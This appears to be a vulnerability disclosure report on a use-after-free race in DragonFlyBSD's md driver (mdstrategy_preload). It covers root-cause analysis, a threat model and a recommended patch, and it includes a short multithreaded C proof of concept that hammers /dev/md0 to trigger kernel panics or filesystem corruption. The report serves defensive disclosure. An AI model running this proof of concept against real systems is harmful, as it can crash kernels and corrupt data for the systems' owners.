Summary

In the I/O drain loop of mdstrategy_preload, the local bp is assigned once from the caller's bio (md.c:349) and is never refreshed as the loop dequeues subsequent bios via bioq_takefirst (md.c:372). Every iteration after the first dereferences a stale bp that was already passed to biodone() (md.c:395). biodone's bio_done callback may free or recycle the buffer (explicitly warned at vfs_bio.c:3746), so the next iteration's bp->b_cmd, bp->b_data, bp->b_bcount, bp->b_resid are use-after-free. The sibling function mdstrategy_malloc gets this right with bp = bio->bio_buf; at md.c:239, proving the preload path is a regression.

Root cause

mdstrategy_preload (md.c:344-400) computes struct buf *bp = bio->bio_buf; once at line 349. The drain loop at md.c:371-397 reassigns bio = bioq_takefirst(&sc->bio_queue) (md.c:372) on each iteration but never reassigns bp, so from the second iteration onward bp refers to the previous iteration's buf. That buf was handed to biodone(bio) at md.c:395 of the prior iteration.

The subsequent switch (bp->b_cmd) (md.c:379) and the bcopy calls bcopy(..., bp->b_data, bp->b_bcount) (md.c:383-388) then dereference that stale pointer. Critically, bio->bio_offset is from the new bio while bp->b_data and bp->b_bcount are from the old bio — a mismatched data+length+offset combination that can write or read out-of-bounds on sc->pl_ptr.

The queue can grow during the loop because mdstrategy_preload drops the critical section with crit_exit() (md.c:373) before calling biodone (md.c:395), so a higher-priority thread woken by biodone on the same CPU can re-enter mdstrategy (md.c:174), bioqdisksort its bio (md.c:362), observe sc->busy true (md.c:364), and return.

Threat model & preconditions

• Attacker position: any local user on a DragonFlyBSD configuration that instantiates an MD_PRELOAD device: MD_ROOT builds (md.c:510) common for installers/embedded/MFS-root systems, and any preloaded md_image/mfs_root module (md.c:513-529).
• Privileges gained or impact:
• Stale-bp data corruption: bcopy uses old buf's b_data/b_bcount against new bio's bio_offset — wrong bytes to wrong buffer, wrong disk offset.
• Use-after-free: biodone may deallocate/recycle the prior buf; if slab is re-purposed, the bcopy length/source are attacker-influenced → kernel heap write primitive.
• OOB on pl_ptr: bio_offset + bp->b_bcount can exceed pl_len because bp->b_bcount is from the stale bio → adjacent kernel memory overwrite.
• DoS panic: corrupted bp->b_cmd triggers panic("md: bad cmd %d") (md.c:391).
• Required config or capabilities: options MD_ROOT (common for MFS root); md0 is typically the root filesystem, so any local user issuing file I/O triggers the path.
• Reachability: the bug fires whenever two bios are co-resident in the queue, which normal buffered-I/O concurrency produces. Multiple threads doing pread on /dev/md0 trigger it within seconds.

Proof of concept

#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <string.h>
#include <err.h>

static int fd;
static void *worker(void *a){ off_t off=(off_t)(long)a; char b[4096];
  for(int i=0;i<20000;i++){ pread(fd,b,sizeof(b),off); } return 0; }

int main(int argc,char**argv){
  fd=open("/dev/md0",O_RDONLY); if(fd<0) err(1,"open");
  pthread_t t[8];
  for(int i=0;i<8;i++) pthread_create(&t[i],0,worker,(void*)((long)(i*64*1024)));
  for(int i=0;i<8;i++) pthread_join(t[i],0);
  return 0; }

Build & run

cc -O2 -pthread race.c -o race
./race    # as any unprivileged user on an MD_ROOT system

Expected output

panic: md: bad cmd %d <garbage>     # stale b_cmd after buf recycled
OR random fs corruption on the mfs root
OR OOB-write panic when bio_offset + bp->b_bcount exceeds pl_len

Impact

High: unprivileged local-to-root UAF + OOB write on MD_ROOT (MFS root) configurations. Any local user issuing file I/O on md0 can trigger the stale-bp race. The OOB write into kernel heap adjacent to the preloaded image is a potential local privilege escalation primitive. On default-config MFS-root systems (common for installers and embedded), this is a reliable ring-0 corruption vector.

Recommended fix

Refresh bp from the dequeued bio on every loop iteration, exactly as mdstrategy_malloc does at md.c:239.

--- a/sys/dev/disk/md/md.c
+++ b/sys/dev/disk/md/md.c
@@ -371,6 +371,8 @@ mdstrategy_preload(struct dev_strategy_args *ap)
        if (bio == NULL)
            break;

+       bp = bio->bio_buf;
+
        devstat_start_transaction(&sc->stats);

        switch (bp->b_cmd) {

References

• Correct pattern in mdstrategy_malloc: md.c:239 (bp = bio->bio_buf;).
• biodone may deallocate buffer: vfs_bio.c:3746.

Timeline

• 2026-07-20 Discovered during automated audit.
• 2026-07-20 Reported to DragonFlyBSD security contact (pending).